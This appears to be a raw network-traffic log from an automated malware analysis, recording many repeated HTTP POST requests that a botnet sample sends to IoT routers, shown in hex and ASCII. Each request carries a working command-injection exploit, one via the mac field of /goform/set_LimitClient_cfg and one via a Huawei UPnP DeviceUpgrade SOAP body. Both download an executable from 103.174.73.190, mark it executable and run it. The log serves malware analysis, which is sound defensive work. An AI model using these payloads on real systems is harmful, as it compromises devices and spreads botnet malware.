Source: global traffic HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf *mpsl*;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf *mpsl*;
Source: global traffic HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 492Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 72 6d 20 2d 72 66 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 20 2d 6c 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 20 2d 72 20 2f 74 61 6a 6d 61 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 3b 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 20 73 65 6c 66 72 65 70 2e 74 61 6a 6d 61 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(rm -rf /tmp/linuxxx; /bin/busybox wget -g 103.174.73.190 -l /tmp/linuxxx -r /tajma.mips; /bin/busybox chmod 777 /tmp/linuxxx; /tmp/linuxxx selfrep.tajma)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 492Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 72 6d 20 2d 72 66 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 20 2d 6c 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 20 2d 72 20 2f 74 61 6a 6d 61 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 3b 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 20 73 65 6c 66 72 65 70 2e 74 61 6a 6d 61 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(rm -rf /tmp/linuxxx; /bin/busybox wget -g 103.174.73.190 -l /tmp/linuxxx -r /tajma.mips; /bin/busybox chmod 777 /tmp/linuxxx; /tmp/linuxxx selfrep.tajma)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 492Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 72 6d 20 2d 72 66 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 20 2d 6c 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 20 2d 72 20 2f 74 61 6a 6d 61 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 3b 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 20 73 65 6c 66 72 65 70 2e 74 61 6a 6d 61 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(rm -rf /tmp/linuxxx; /bin/busybox wget -g 103.174.73.190 -l /tmp/linuxxx -r /tajma.mips; /bin/busybox chmod 777 /tmp/linuxxx; /tmp/linuxxx selfrep.tajma)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf *mpsl*;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf *mpsl*;
Source: global traffic HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf *mpsl*;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf *mpsl*;
Source: global traffic HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf *mpsl*;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf *mpsl*;
Source: global traffic HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf *mpsl*;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf *mpsl*;
Source: global traffic HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf *mpsl*;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf *mpsl*;
Source: global traffic HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf *mpsl*;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf *mpsl*;
Source: global traffic HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf *mpsl*;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf *mpsl*;
Source: global traffic HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf *mpsl*;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf *mpsl*;
Source: global traffic HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf *mpsl*;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf *mpsl*;
Source: global traffic HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf *mpsl*;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf *mpsl*;
Source: global traffic HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf *mpsl*;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf *mpsl*;
Source: global traffic HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 492Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 72 6d 20 2d 72 66 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 20 2d 6c 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 20 2d 72 20 2f 74 61 6a 6d 61 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 3b 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 20 73 65 6c 66 72 65 70 2e 74 61 6a 6d 61 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(rm -rf /tmp/linuxxx; /bin/busybox wget -g 103.174.73.190 -l /tmp/linuxxx -r /tajma.mips; /bin/busybox chmod 777 /tmp/linuxxx; /tmp/linuxxx selfrep.tajma)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf *mpsl*;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf *mpsl*;
Source: global traffic HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf *mpsl*;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf *mpsl*;
Source: global traffic HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf *mpsl*;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl 